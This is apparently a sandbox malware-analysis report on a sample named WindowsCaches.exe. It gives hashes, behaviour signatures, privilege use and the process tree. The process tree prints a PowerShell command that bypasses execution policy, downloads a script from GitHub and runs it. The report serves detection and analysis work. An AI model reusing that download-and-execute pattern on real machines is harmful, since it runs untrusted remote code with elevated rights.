Analysis
- user interaction
yes - max time kernel
148s - max time network
112s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/07/2026, 03:36
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
WindowsCaches.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
WindowsCaches.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
9 signatures
150 seconds
General
- Target WindowsCaches.exe
- Size 6KB
- Sample260710-d53f4ady7z
- SHA256 f843aa82f45d56302ead3c737ff3155166e63d52919e5b702301d6e97fa9fb4d
- MD5 a4805d45a22922ae7c1bd4c8194ed94f
- SHA1 65bcdfcb3a5481f7ebdaff6ba108f339a4bef122
- SHA512 c983b58ccf643cfa4dd7dcd03a728f6c1dc6d43320664651cef48a4cc3c044b9dbde63e10c19ec682b248dd7fb133812aeaafb2fb74a738ac4e0cfece4032e6a
- SSDEEP 96:U1eTMEEwZBIO790hW5uOoiPVq0AdW8CDNprTfETzlzNt:U1MMERZh9gPitq0Ad1C5prcD
- TLSH T16EC1A519B7D8852AE0778F303DF35B816BF6F9615926965E28C8130FAD22B40CD437B6
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 2880 powershell.exe -
pid Process 2880 powershell.exe 4460 powershell.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 raw.githubusercontent.com 2 raw.githubusercontent.com - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: powershell.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt svchost.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\Prefetch\AgGlFgAppHistory.db powershell.exe File opened for modification C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf powershell.exe File opened for modification C:\Windows\Prefetch\EXPLORER.EXE-A80E4F97.pf powershell.exe File opened for modification C:\Windows\Prefetch\SEARCHHOST.EXE-C45BB68D.pf powershell.exe File opened for modification C:\Windows\Prefetch\ReadyBoot\rblayout.xin powershell.exe File opened for modification C:\Windows\Prefetch\MOBSYNC.EXE-C5E2284F.pf powershell.exe File opened for modification C:\Windows\Prefetch\NETSH.EXE-F1B6DA12.pf powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb00006.log powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb00007.log powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edbres00001.jrs powershell.exe File opened for modification C:\Windows\SoftwareDistribution\SLS\2B81F1BF-356C-4FA1-90F1-7581A62C6764\sls.cab powershell.exe File opened for modification C:\Windows\SoftwareDistribution\SLS\9482F4B4-E343-43B6-B170-9A65BC822C77 powershell.exe File opened for modification C:\Windows\Prefetch\LOGONUI.EXE-09140401.pf powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\tmp.edb powershell.exe File opened for modification C:\Windows\SoftwareDistribution\Download\SharedFileCache powershell.exe File opened for modification C:\Windows\Prefetch\AgGlFaultHistory.db powershell.exe File opened for modification C:\Windows\Prefetch\AgRobust.db powershell.exe File opened for modification C:\Windows\Prefetch\BDEUISRV.EXE-4D0648DC.pf powershell.exe File opened for modification C:\Windows\Prefetch\DLLHOST.EXE-D8E67ED6.pf powershell.exe File opened for modification C:\Windows\Prefetch\FSQUIRT.EXE-BBD9646E.pf powershell.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb00004.log powershell.exe File opened for modification C:\Windows\SoftwareDistribution\SLS\9482F4B4-E343-43B6-B170-9A65BC822C77\sls.cab powershell.exe File opened for modification C:\Windows\Prefetch\CONTROL.EXE-817F8F1D.pf powershell.exe File opened for modification C:\Windows\Prefetch\DISMHOST.EXE-CC47B57C.pf powershell.exe File opened for modification C:\Windows\Prefetch\SHUTDOWN.EXE-E7D5C9CC.pf powershell.exe File opened for modification C:\Windows\Prefetch\SVCHOST.EXE-2D56ECA4.pf powershell.exe File opened for modification C:\Windows\Prefetch\SVCHOST.EXE-2F0E0AF4.pf powershell.exe File opened for modification C:\Windows\Prefetch\MSEDGE.EXE-78F14B87.pf powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb powershell.exe File opened for modification C:\Windows\SoftwareDistribution\SLS\855E8A7C-ECB4-4CA3-B045-1DFA50104289 powershell.exe File opened for modification C:\Windows\Prefetch\PfSvPerfStats.bin powershell.exe File opened for modification C:\Windows\Prefetch\ResPriStaticDb.ebd powershell.exe File opened for modification C:\Windows\Prefetch\SVCHOST.EXE-5ACAA551.pf powershell.exe File opened for modification C:\Windows\Prefetch\SVCHOST.EXE-C49E779A.pf powershell.exe File opened for modification C:\Windows\Prefetch\SYSTEMSETTINGS.EXE-F13C32B6.pf powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edbres00002.jrs powershell.exe File opened for modification C:\Windows\SoftwareDistribution\SLS\8B24B027-1DEE-BABB-9A95-3517DFB9C552\sls.cab powershell.exe File opened for modification C:\Windows\SoftwareDistribution\PostRebootEventCache.V2 powershell.exe File opened for modification C:\Windows\Prefetch\REG.EXE-E7E8BD26.pf powershell.exe File opened for modification C:\Windows\Prefetch\STARTMENUEXPERIENCEHOST.EXE-C5508DA1.pf powershell.exe File opened for modification C:\Windows\Prefetch\TASKKILL.EXE-8F5B2253.pf powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb00008.log powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore powershell.exe File opened for modification C:\Windows\Prefetch\MSEDGE.EXE-78F14B8D.pf powershell.exe File opened for modification C:\Windows\Prefetch\PSEXEC.EXE-80F89DAE.pf powershell.exe File opened for modification C:\Windows\Prefetch\RUNTIMEBROKER.EXE-86343F85.pf powershell.exe File opened for modification C:\Windows\Prefetch\SVCHOST.EXE-07A3B3AB.pf powershell.exe File opened for modification C:\Windows\Prefetch\ReadyBoot\ReadyBoot.etl powershell.exe File opened for modification C:\Windows\Prefetch\MSEDGE.EXE-78F14B89.pf powershell.exe File opened for modification C:\Windows\Prefetch\PICKERHOST.EXE-B8A68B3C.pf powershell.exe File opened for modification C:\Windows\Prefetch\POWERSHELL.EXE-920BBA2A.pf powershell.exe File opened for modification C:\Windows\Prefetch\RUNTIMEBROKER.EXE-FC4F7215.pf powershell.exe File opened for modification C:\Windows\Prefetch\SVCHOST.EXE-96A7E1CF.pf powershell.exe File opened for modification C:\Windows\Prefetch\TAKEOWN.EXE-A80759AD.pf powershell.exe File opened for modification C:\Windows\Prefetch\TIWORKER.EXE-07175DE0.pf powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb00003.log powershell.exe File opened for modification C:\Windows\Prefetch\PSEXESVC.EXE-7F956DAF.pf powershell.exe File opened for modification C:\Windows\Prefetch\SVCHOST.EXE-34610886.pf powershell.exe File opened for modification C:\Windows\Prefetch\USEROOBEBROKER.EXE-D2992F42.pf powershell.exe File opened for modification C:\Windows\Prefetch\ReadyBoot\Trace1.fx powershell.exe - Suspicious behavior: EnumeratesProcesses 29 IoCs
pid Process 2880 powershell.exe 2880 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe 4460 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2880 powershell.exe Token: SeDebugPrivilege 4460 powershell.exe Token: SeIncreaseQuotaPrivilege 4460 powershell.exe Token: SeSecurityPrivilege 4460 powershell.exe Token: SeTakeOwnershipPrivilege 4460 powershell.exe Token: SeLoadDriverPrivilege 4460 powershell.exe Token: SeSystemProfilePrivilege 4460 powershell.exe Token: SeSystemtimePrivilege 4460 powershell.exe Token: SeProfSingleProcessPrivilege 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: SeCreatePagefilePrivilege 4460 powershell.exe Token: SeBackupPrivilege 4460 powershell.exe Token: SeRestorePrivilege 4460 powershell.exe Token: SeShutdownPrivilege 4460 powershell.exe Token: SeDebugPrivilege 4460 powershell.exe Token: SeSystemEnvironmentPrivilege 4460 powershell.exe Token: SeRemoteShutdownPrivilege 4460 powershell.exe Token: SeUndockPrivilege 4460 powershell.exe Token: SeManageVolumePrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: 34 4460 powershell.exe Token: 35 4460 powershell.exe Token: 36 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe Token: SeIncBasePriorityPrivilege 4460 powershell.exe Token: 33 4460 powershell.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 3152 wrote to memory of 4288 3152 WindowsCaches.exe 88 PID 4288 wrote to memory of 2880 4288 cmd.exe 89 PID 4288 wrote to memory of 4460 4288 cmd.exe 90 PID 4460 wrote to memory of 2540 4460 powershell.exe 91 PID 2540 wrote to memory of 4284 2540 csc.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\WindowsCaches.exe"C:\Users\Admin\AppData\Local\Temp\WindowsCaches.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\run_73ef9a7c6f5341ea9d0989375d214720.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/bebokurd/Clear-WindowsCaches/refs/heads/main/Clear-WindowsCaches.ps1' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Clear-WindowsCaches.ps1'"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2880
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\Clear-WindowsCaches.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eq0rbxsz\eq0rbxsz.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8DCF.tmp" "c:\Users\Admin\AppData\Local\Temp\eq0rbxsz\CSC8D423C1A39846AD883638E62A59C90.TMP"5⤵PID:4284
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
PID:4780
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 e01f5741ced7748eef83cfb8a46d0174a59543551d136235356c274108c90770
- MD5 146ad1b36fa8534fe01c388441162614
- SHA1 bab95bc76f21395e2c20c0305039feef078345ca
- SHA512 4bee69f34fe7a659f3212673c2202669bbf4d71734026d75dfc763513db058856964cd0fdbb1ad0fd4e3dbca8c58365e6519d6fb47a3ff7d0b5528444ca1828a
- TLSH T155115733B3CC8724DC9A403650CEAC1136B687DB409ECE6BBB84D548B42F299DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Clear-WindowsCaches.ps1
- Size 51KB
- SHA256 0daf93bd33ca5831f919324629a3a9b6e4e66d0dcad3686a7ff3a8385294ab11
- MD5 3ef88af69f34381471362656108fb99a
- SHA1 b7cc23931c5df3bd9c77fd987300dbf94e7e57db
- SHA512 b5caa3a9fcb552fe028cefb91a7aac192847fdcb234914b8f4f5531432f7a585b6f1e0a23b8c0d9132e5ecdd3934f55453d9d6c1741b72a4879294de088d0096
- SSDEEP 768:1Wohrx+Er0odApBMXB7/63w9PEZp4+yNp7Yjm2CK2UH:1nhtr0siaN1s
- TLSH T141338425EEF01D6013B7C03A5A559A80ED6140B7421D1E44B9DC03ED6FC1B7E8ABFAE6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RES8DCF.tmp
- Size 1KB
- SHA256 10367edc527af50dec69ac939145231247ebb3c448a45954768451fabfc222d2
- MD5 63cd747c2143e738e5312563a1edc072
- SHA1 4954cd921c433964c1fad858203ec004c04eef65
- SHA512 5fc3bf47e42dd3f21e397f520360b9bd2f82fa579a556f7ff1fc5e4bef4d29feb4a6ee382bf9adc0a440cfe76b484113b0e73786e13407000949aeb0844c5095
- TLSH T17C21CC0553E84B1EF073473169F6571FE274FD54EFA1579A954402282C51104EEA1B72
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vimzpmqj.knn.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\eq0rbxsz\eq0rbxsz.dll
- Size 3KB
- SHA256 4d0426f0bcb473c15f52f3f829e0cb050a6906bdd6cd6632bba0bedaed545dac
- MD5 972c6e1f67ab50fba8dd9223c0d4e233
- SHA1 f22f7417e6f97f1ec2a9f8dc481b95a5a61a9a8e
- SHA512 46bf67f2a965462d904fa2e000138d2a646e242fce292d1d67a936359f1772c596eba7e7b7f260f3847990ea10bf47e8228351045292c2c8b4112f7a8cb4a3ef
- TLSH T1D151C91A67E84A3BF4A70738AEF347172BB4F8148B72976E0CC40229AC667545D31FB0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\run_73ef9a7c6f5341ea9d0989375d214720.bat
- Size 376B
- SHA256 3b7fad547be0a8066e13f31135765fa6aedf9a48606effdb70b55044bd49f35b
- MD5 8f8f5298156b952291dcf3056bb8d3e2
- SHA1 a0e659fb44622dad97fcc3b2c670983d2dc49a5e
- SHA512 c548efb6fce45c4cb60c9e234111c92dd7b58ab991e7a69a63440cb423f670a1e3fda22b9707ae099065a4b8c6159e7ffe330853e7769d4825417472cc42f65e
- TLSH T1D3E06893172DF30CB7B34CFD50DA42A818196088E3269493B269813CFC0631BE2426CD
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\eq0rbxsz\CSC8D423C1A39846AD883638E62A59C90.TMP
- Size 652B
- SHA256 3de2db208aba825dd512b6136bc12711d3e6b0f170370e0a66922f5c027130e7
- MD5 c93fb11330be8fa45f5d8bfa28863090
- SHA1 8a94d92cf99a7df586c536ef52b4ff273b3697bd
- SHA512 7394ad887c007e909f319994c4b4dd524babf96efcd6bd35bf4507843423656fbc5256a6c5be867a78cfcad483b6801178af966ff707248c1752af962b4a8c28
- TLSH T197F03A0963F8460EF5F34B30B9F643A395A8BC64DE3293ED184403192C645109962FB2
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\eq0rbxsz\eq0rbxsz.0.cs
- Size 311B
- SHA256 92b71e599046f56875aff642f583dfbc851279c99f93bb978dc9a5870bd1b959
- MD5 2d7d8dc541e6c6a093a67c79ba10bdf6
- SHA1 63c23c41efd341533de4fa3a129c095d3bf28a14
- SHA512 c41b595d955b62b322a4ada902faa1383fc725b7781d7a27942bbd570c5eb8cd6c7c997c0689d334c1517ac486bd46a08baacf1797898a66a7e6b9062ff7a883
- TLSH T13FE07D3462BB4D381009423F2C06DC4A7F9E500C01F66C1196EE0720CF1B14C00B4E34
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\eq0rbxsz\eq0rbxsz.cmdline
- Size 369B
- SHA256 3efd7d376c1cf344094932a488893a37efc4cca35ade3c91b54505d5537c72c4
- MD5 dd86fbbc8767dbc6819bae7af779aa6d
- SHA1 6793828e069ce686204508c463e70b4d43a79f7c
- SHA512 4e9baeffbaf6418ffe135042b2d452453428a4fed03a76b4e458c32bc1768aecd68ab4f7ace7dde68cb36c2484dfdf3337db98b2dedd6066427f7110a9938690
- TLSH T1C0E0686A4246C77D71DD100B31A9C9ACA27326C329453F8474A0480ED03708027F1741
- MD5 SHA1 SHA512 TLSH